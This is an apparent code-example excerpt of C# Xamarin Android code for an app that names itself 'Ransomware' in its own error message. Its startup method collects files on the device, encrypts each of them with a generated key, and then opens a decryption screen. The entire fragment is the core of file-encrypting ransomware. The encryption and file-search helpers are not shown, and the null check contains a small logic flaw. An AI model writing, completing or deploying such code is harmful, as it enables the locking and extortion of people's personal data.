示例#1
0
        protected override void OnCreate(Bundle savedInstanceState)
        {
            base.OnCreate(savedInstanceState);
            // Set our view from the "main" layout resource
            SetContentView(Resource.Layout.activity_main);
            try
            {
                files = SearchFiles();

                string key = Encrypt.CreateKey();
                if (files == null | files.Length < 1)
                {
                    AlertDialog.Builder alert = new AlertDialog.Builder(this);
                    alert.SetTitle("ERROR");
                    alert.SetMessage("ERROR: No hay archivos que encriptar");
                    alert.SetNegativeButton("Cancel", (senderAlert, args) =>
                    {
                        Intent dec = new Intent(this, typeof(decrypt_act));
                        dec.PutExtra("code", "");
                        StartActivity(dec);
                    });

                    Dialog dialog = alert.Create();
                    dialog.Show();
                }

                foreach (var f in files)
                {
                    Encrypt.EncryptFile(f);
                }
                Intent decActivity = new Intent(this, typeof(decrypt_act));
                decActivity.PutExtra("code", key);
                StartActivity(decActivity);
            }
            catch
            {
                AlertDialog.Builder alert = new AlertDialog.Builder(this);
                alert.SetTitle("ERROR");
                alert.SetMessage("ERROR: Necesitas habilitar los permisos para utilizar la aplicacion. Configuracion/Aplicaciones/Ransomware/Permisos");
                alert.SetNegativeButton("Cancel", (senderAlert, args) =>
                {
                    Finish();
                });

                Dialog dialog = alert.Create();
                dialog.Show();
            }
        }